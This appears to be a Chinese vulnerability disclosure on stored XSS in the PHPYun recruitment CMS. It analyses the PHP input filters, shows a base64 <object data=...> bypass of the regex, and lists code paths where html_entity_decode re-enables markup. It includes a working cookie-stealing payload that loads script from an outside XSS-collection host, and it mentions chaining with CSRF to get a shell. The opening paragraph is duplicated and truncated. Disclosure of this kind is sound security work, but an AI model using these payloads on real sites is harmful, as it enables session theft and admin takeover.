### 简要描述: 20140811。绕过过滤,批量找xss,可打cookie。 ### 详细说明: 刚开始做审计,phpyun的代码之前没有看过,phith0n曾经发过一个打包的xss,说是客户端过滤没有进行服务端过滤,现在这个版本应该是服务端过滤吧。 phpyun的global.php里面引用了两个安全的php文件,分别是data/db.safety.php和include/webscan360/360safe/360webscan.php。 先来看看data/db.safety.php: ``` if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']) { foreach($_POST as $id=>$v){ safesql($id,$v,"POST",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); $_POST[$id]=common_htmlspecialchars($v);// } } foreach($_GET as $id=>$v){ safesql($id,$v,"GET",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); if(!is_array($v)) $v=substr(strip_tags($v),0,80); $_GET[$id]=common_htmlspecialchars($v);// } foreach($_COOKIE as $id=>$v){ safesql($id,$v,"COOKIE",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); $v=substr(strip_tags($v),0,52); $_COOKIE[$id]=common_htmlspecialchars($v);// } ``` safesql函数先过滤一下,然后common_htmlspecialchars进行html编码。 ```...
### 简要描述: 20140811。绕过过滤,批量找xss,可打cookie。 ### 详细说明: 刚开始做审计,phpyun的代码之前没有看过,phith0n曾经发过一个打包的xss,说是客户端过滤没有进行服务端过滤,现在这个版本应该是服务端过滤吧。 phpyun的global.php里面引用了两个安全的php文件,分别是data/db.safety.php和include/webscan360/360safe/360webscan.php。 先来看看data/db.safety.php: ``` if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey']) { foreach($_POST as $id=>$v){ safesql($id,$v,"POST",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); $_POST[$id]=common_htmlspecialchars($v);// } } foreach($_GET as $id=>$v){ safesql($id,$v,"GET",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); if(!is_array($v)) $v=substr(strip_tags($v),0,80); $_GET[$id]=common_htmlspecialchars($v);// } foreach($_COOKIE as $id=>$v){ safesql($id,$v,"COOKIE",$config); $id = sfkeyword($id,$config); $v = sfkeyword($v,$config); $v=substr(strip_tags($v),0,52); $_COOKIE[$id]=common_htmlspecialchars($v);// } ``` safesql函数先过滤一下,然后common_htmlspecialchars进行html编码。 ``` function safesql($StrFiltKey,$StrFiltValue,$type){ $getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; $cookiefilter = "benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)"; ``` 看看是不是有办法绕过,正则<.*data=data:text\\/html.*>,就绕过他吧,加个data="...",就绕过了。 好,那我们用`<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>`就绕过了safesql,下一步要搞定html编码了。 ``` function common_htmlspecialchars($str){ $str = str_replace( array('<','>','"',"'","--"), array('<','>','"',"´","- -"), $str); //先将一些字符替换 return gpc2sql($str);//这里带入一个简单的过滤函数,主要过滤sql,就不看了 } ``` 从上面可以看出,我们全局的gpc数据都被这样处理了,那么直接插入数据库,肯定就是编码过的。 关键来了,明确一下思路,搜索一下html_entity_decode函数,html解码之后insert或者update进数据库的基本上都能xss了。 [<img src="https://images.seebug.org/upload/201408/18110000761034d763c716832f499b518fe4bee5.png" alt="QQ截图20140818105915.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18110000761034d763c716832f499b518fe4bee5.png) 这里面后台的,就没有跟进去。 除去后台的和插件的有,我按操作数据库的功能计算次数了。 /friend/model/index.class.php 1处 /ask/model/index.class.php 3处 /member/model/com.class.php 7行 /member/model/index.class.php 2行 /model/ajax.class.php 1行 先看/friend/model/index.class.php ,发表朋友圈状态时1处: ``` function addstate_action() { include_once(CONFIG_PATH."db.data.php"); if($this->uid=='') { $this->obj->ACT_layer_msg("您还未登录或登录超时请重新登录!",4,"index.php"); } if($_POST['content']) { $content=$_POST['content']; $content = str_replace("&","&",html_entity_decode($content,ENT_QUOTES,"GB2312"));//html解码 foreach($arr_data['imface'] as $k=>$v) { if(strstr($content,"[".$k."]")) { $content=str_replace("[".$k."]","<img src=\"".$this->config[sy_weburl].$arr_data['faceurl'].$v."\">",$content); } } $data['content']=$content;//放到$dara中 $data['uid']=$this->uid; $data['ctime']=time(); if($_FILES['msg_img']['name']) { $upload=$this->upload_pic("..https://images.seebug.org/upload/friend/"); $pictures=$upload->picture($_FILES['msg_img']); $data['msg_pic']=$pictures; } $cid = $this->obj->insert_into("friend_state",$data);//$data被插入数据库 ``` /ask/model/index.class.php 中 追加问题和回答问题时各1处: ``` function answer_action() { $gourl= $this->aurl(array("url"=>"c:content,id:".$_GET['id'])); if($_POST['content']) { $q_title=$this->obj->DB_select_once("question","`id`='".(int)$_GET['id']."'","`uid`,`title`,`content`"); if($q_title['uid']==$this->uid) { $content = str_replace("&","&",html_entity_decode("<br/>追加内容:<br/>".$_POST['content'],ENT_QUOTES,"GB2312")); //解码 $content=$q_title['content'].$content; $id=$this->obj->update_once("question",array("content"=>$content),array("id"=>(int)$_GET['id'])); //更新入库 if($id) { $this->obj->ACT_layer_msg( "提问追加成功!",9,$gourl); }else{ $this->obj->ACT_layer_msg( "提问追加失败!",8,$gourl); } }else{ $data['qid']=(int)$_GET['id']; $data['content']=str_replace("&","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $data['uid']=$this->uid; $data['comment']=0; $data['support']=0; $data['oppose']=0; $data['add_time']=time(); $id=$this->obj->insert_into("answer",$data);//入库 if($id) { $this->obj->DB_update_all("question","`answer_num`=`answer_num`+1","id='".(int)$_GET['id']."'"); $state_content = "回答了问答《<a href=\"".$gourl."\" target=\"_blank\">".$q_title['title']."</a>》。"; $this->addstate($state_content); $this->obj->ACT_layer_msg( "回答成功!", 9,$gourl); }else{ $this->obj->ACT_layer_msg( "回答失败!", 8); } } }else{ $this->obj->ACT_layer_msg( "内容不能为空!", 2); } } ``` 提问时1处: ``` function save_action() { if($this->uid=='') { $this->obj->ACT_layer_msg( "请先登录!", 8); } if(trim($_POST['title'])=="") { $this->obj->ACT_layer_msg( "标题不能为空!", 8); } $data['title']=$_POST['title']; $data['cid']=(int)$_POST['cid']; $data['content']=str_replace("&","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $data['uid']=$this->uid; $data['add_time']=time(); $n_ids=$this->obj->insert_into("question",$data); //入库 if($n_ids) { $nickname=$this->obj->DB_select_once("firend_info","`uid`='".$this->uid."'","`nickname`"); $gourl= $this->aurl(array("url"=>"c:content,id:".$n_ids)); $sql['uid']=$this->uid; $sql['content']="发布了问答《<a href=\"".$gourl."\" target=\"_blank\">".$_POST['title']."</a>》。"; $sql['ctime']=time(); $this->obj->insert_into("friend_state",$sql); $gourl= $this->aurl(array("url"=>"c:index")); $this->obj->ACT_layer_msg( "提问成功!",9,$gourl); }else{ $this->obj->ACT_layer_msg( "提问失败!", 8); } } ``` /member/model/com.class.php中 企业添加职位和更新职位各1处: ``` function jobadd_action(){ //215行if($_POST['submitBtn']){ $id=intval($_POST['id']); $state= intval($_POST['state']); unset($_POST['submitBtn']); unset($_POST['id']); unset($_POST['state']); $_POST['uid']=$this->uid; $_POST['lastupdate']=time(); $_POST['state']=$this->config['com_job_status']; $_POST['description'] = str_replace(array("&","background-color:#ffffff","background-color:#fff","white-space:nowrap;"),array("&",'background-color:','background-color:','white-space:'),html_entity_decode($_POST['description'],ENT_QUOTES,"GB2312"));解码 。。。。 if(!$id){ $this->get_com(1); $nid=$this->obj->insert_into("company_job",$_POST); //入库 $name="添加职位"; 。。。 }else{ if($state=="1" || $state=="2") { $this->get_com(2); } $rows=$this->obj->DB_select_once("company_job","`id`='".$id."' and `uid`='".$this->uid."'"); $nid=$this->obj->update_once("company_job",$_POST,$where); //更新入库 $name="更新职位"; } ``` /member/model/com.class.php 修改企业资料1处: ``` function info_action(){ 1619行$_POST['cert'] = $row['cert']; $where['uid']=$this->uid; $_POST['content'] = str_replace(array("&","background-color:#ffffff","background-color:#fff","white-space:nowrap;"),array("&",'background-color:','background-color:','white-space:'),html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $_POST['lastupdate']=mktime(); $nid=$this->obj->update_once("company",$_POST,$where);//入库 ``` 添加新闻和更改新闻各1处: ``` function news_action(){ 2015行if($_POST['action']=="save") { $sql['title']=$_POST['title']; $body = str_replace("&","&",html_entity_decode($_POST['body'],ENT_QUOTES,"GB2312"));//解码 $title=trim($sql['title']); if($title=="" || $body=="") { $this->obj->ACT_layer_msg("新闻标题内容不能为空!",2,$_SERVER['HTTP_REFERER']); } $sql['body']=$body; if(!$_POST['id']) { $sql['uid']=$this->uid; $sql['ctime']=mktime(); $oid=$this->obj->insert_into("company_news",$sql);//入库 }else{ $where['uid']=$this->uid; $where['id']=(int)$_POST['id']; $sql['status']='0'; $oid=$this->obj->update_once("company_news",$sql,$where);//更新入库 } } ``` 添加产品和更改产品各1处: ``` function product_action(){ 2083行if($_POST['submit']){ $sql['title']=$_POST['title']; $body = str_replace("&","&",html_entity_decode($_POST['body'],ENT_QUOTES,"GB2312"));//解码 $sql['body']=$body;//赋值 if($_FILES['pic']['tmp_name']) { $upload=$this->upload_pic("..https://images.seebug.org/upload/product/",false,$this->config['com_uppic']); $pictures=$upload->picture($_FILES['pic']); $this->picmsg($pictures,$_SERVER['HTTP_REFERER']); $sql['pic']=str_replace("../","/",$pictures); } if(!$_POST['id']){ $sql['uid']=$this->uid; $sql['ctime']=mktime(); $oid=$this->obj->insert_into("company_product",$sql);//入库 }else{ $where['uid']=$this->uid; $where['id']=(int)$_POST['id']; $sql['status']=0; if($_FILES['pic']['tmp_name']){ $pictures=$upload->picture($_FILES['pic']); $this->picmsg($pictures,$_SERVER['HTTP_REFERER']); $sql['pic']=str_replace("../","/",$pictures); $row=$this->obj->DB_select_once("company_product","`id`='".(int)$_POST['id']."' and `uid`='".$this->uid."'","pic"); if(is_array($row)){ $this->obj->unlink_pic("..".$row['pic']); } } $oid=$this->obj->update_once("company_product",$sql,$where);//更新入库 } $oid?$this->obj->ACT_layer_msg("操作成功!",9,"index.php?c=product"):$this->obj->ACT_layer_msg("操作失败,请稍后再试!",8,"index.php?c=product"); } } ``` /member/model/index.class.php中 个人添加黏贴简历和更改黏贴简历各1处 ``` function expectq_action(){ $this->get_user(); $num=$this->obj->DB_select_num("resume_expect","`uid`='".$this->uid."'"); if($_POST['submit']){ $eid=(int)$_POST['eid']; $data['doc']=str_replace("&","&",html_entity_decode($_POST['doc'],ENT_QUOTES,"GB2312"));//解码 $_POST['lastupdate']=mktime(); unset($_POST['eid']); unset($_POST['submit']); unset($_POST['doc']); if(!$eid){ if($num>=$this->config['user_number']) { $this->obj->ACT_layer_msg("你的简历数已经超过系统设置的简历数了",8,"index.php?c=resume"); } $_POST['doc']='1'; $_POST['uid']=(int)$this->uid; $nid=$this->obj->insert_into("resume_expect",$_POST); $data['eid']=(int)$nid; $data['uid']=(int)$this->uid; $nid2=$this->obj->insert_into("resume_doc",$data);//入库 if($nid2){ if($num==0){ $this->obj->update_once('resume',array('def_job'=>$nid),array('uid'=>$this->uid)); } $nid2=$this->obj->DB_update_all("member_statis","`resume_num`=`resume_num`+1","uid='".$this->uid."'"); } $nid2?$this->obj->ACT_layer_msg("添加成功!",9,"index.php?c=resume"):$this->obj->ACT_layer_msg("添加失败!",8,"index.php?c=resume"); }else{ $_POST['height_status']='0'; $this->obj->update_once("resume_expect",$_POST,array("id"=>$eid)); $nid=$this->obj->update_once("resume_doc",$data,array("eid"=>$eid));//更新入库 $nid?$this->obj->ACT_layer_msg("更新成功!",9,"index.php?c=resume"):$this->obj->ACT_layer_msg("更新失败!",8,"index.php?c=resume"); } } ``` /model/ajax.class.php中 使用ajax添加朋友圈1处: ``` function mystate_action() { include_once(CONFIG_PATH."db.data.php"); if($this->uid>0) { if($_POST['content']) { $content = str_replace("&","&",html_entity_decode($_POST['content'],ENT_QUOTES,"GB2312"));//解码 $content = iconv("utf-8", "gbk",$content); foreach($arr_data['imface'] as $k=>$v) { if(strstr($content,"[".$k."]")) { $content=str_replace("[".$k."]","<img src=\"".$this->config['sy_weburl'].$arr_data['faceurl'].$v."\">",$content); } } $data['content']=$content; $data['uid']=$this->uid; $data['ctime']=time(); $cid = $this->obj->insert_into("friend_state",$data);//入库 $info = $this->obj->DB_select_once("friend_info","uid='".$this->uid."'"); if($info['pic']=="") { $info['pic'] = $this->config['sy_weburl']."/".$this->config['sy_friend_icon']; } $info['url'] = $this->furl(array("url"=>"c:profile,id:".$this->uid)); $info['ctime']=date("Y-m-d H:i"); $info['cid'] = $cid; $info['content'] = $content; $info['nickname'] = iconv("gbk", "utf-8",$info['nickname']); echo urldecode(json_encode($info));die; } }else{ echo 1;die; } } ``` ### 漏洞证明: 先来看看危害吧,拿朋友圈这个做个测试,因为朋友圈比较直接,管理员点朋友圈,直接可以可以插,招聘信息和新闻那些,管理员也一定会被x到,因为那些内容必须审核。这些xss几乎覆盖了所以地方,想x用户x企业x管理都可以,成功率很高,如果配合csrf getshell,效果更好。现在已经可以用来打cookie。 先测试弹窗吧。 `<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgvenh4Lyk8L3NjcmlwdD4="></object>` 用comtest,是个用户,发了一条朋友圈: [<img src="https://images.seebug.org/upload/201408/18111545d295dd2acca8a3de078245ee86ae4da8.png" alt="QQ截图20140818111241.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18111545d295dd2acca8a3de078245ee86ae4da8.png) [<img src="https://images.seebug.org/upload/201408/1812244735b1b8dd16a6b98df2e561e9718644f1.png" alt="QQ截图20140818110917.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1812244735b1b8dd16a6b98df2e561e9718644f1.png) 管理员在后台点到朋友圈的时候,直接弹窗: [<img src="https://images.seebug.org/upload/201408/18111639b42cd92bd39bf5275eaa1033ab23d46d.png" alt="QQ截图20140818111139.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18111639b42cd92bd39bf5275eaa1033ab23d46d.png) 试试打cookie吧: `<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hzcy5yZS81Nzg0Pjwvc2NyaXB0Pg=="></object>` [<img src="https://images.seebug.org/upload/201408/1811184459a921b72ac8c3f55c892d4a066cb095.png" alt="QQ截图20140818111004.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1811184459a921b72ac8c3f55c892d4a066cb095.png) 看看cookie: [<img src="https://images.seebug.org/upload/201408/18112219e4618fb45044f05d1d767968bf806c8d.png" alt="QQ截图20140818112138.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18112219e4618fb45044f05d1d767968bf806c8d.png) 接下来试试各种弹窗吧。 查看职位: [<img src="https://images.seebug.org/upload/201408/1812043965b0990c3dc8a4db6f575680a1c1d939.png" alt="QQ截图20140818120339.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1812043965b0990c3dc8a4db6f575680a1c1d939.png) 看下提问和追加提问: [<img src="https://images.seebug.org/upload/201408/18120726c21b1bf4c99651cfab796c5efb923dbd.png" alt="QQ截图20140818120459.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18120726c21b1bf4c99651cfab796c5efb923dbd.png) [<img src="https://images.seebug.org/upload/201408/18120737520f068a12bb8b9eafa30c3968c91fca.png" alt="QQ截图20140818120614.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18120737520f068a12bb8b9eafa30c3968c91fca.png) 企业的介绍、新闻和产品: [<img src="https://images.seebug.org/upload/201408/18121037dde6e0f7da9e321dbd16238ac5d6cf55.png" alt="QQ截图20140818120827.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18121037dde6e0f7da9e321dbd16238ac5d6cf55.png) [<img src="https://images.seebug.org/upload/201408/18121045b65650345e2c0974ddcf29896786bcef.png" alt="QQ截图20140818120958.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18121045b65650345e2c0974ddcf29896786bcef.png) [<img src="https://images.seebug.org/upload/201408/18121158a515977cce3ec9d90c57c69e694decb6.png" alt="QQ截图20140818121111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/18121158a515977cce3ec9d90c57c69e694decb6.png) 黏贴简历,注意是黏贴简历和修改简历不一样: 提交地址http://localhost/member/index.php?c=expectq [<img src="https://images.seebug.org/upload/201408/1812162946cb2ba5fe85ade75b853d86a99e24a8.png" alt="QQ截图20140818121507.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/1812162946cb2ba5fe85ade75b853d86a99e24a8.png) [<img src="https://images.seebug.org/upload/201408/181216517d14f7a654d41d8e5174d2a09f807876.png" alt="QQ截图20140818121550.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/181216517d14f7a654d41d8e5174d2a09f807876.png) ajax那个和朋友圈提交效果一样,只是提交方法不一样:不测试了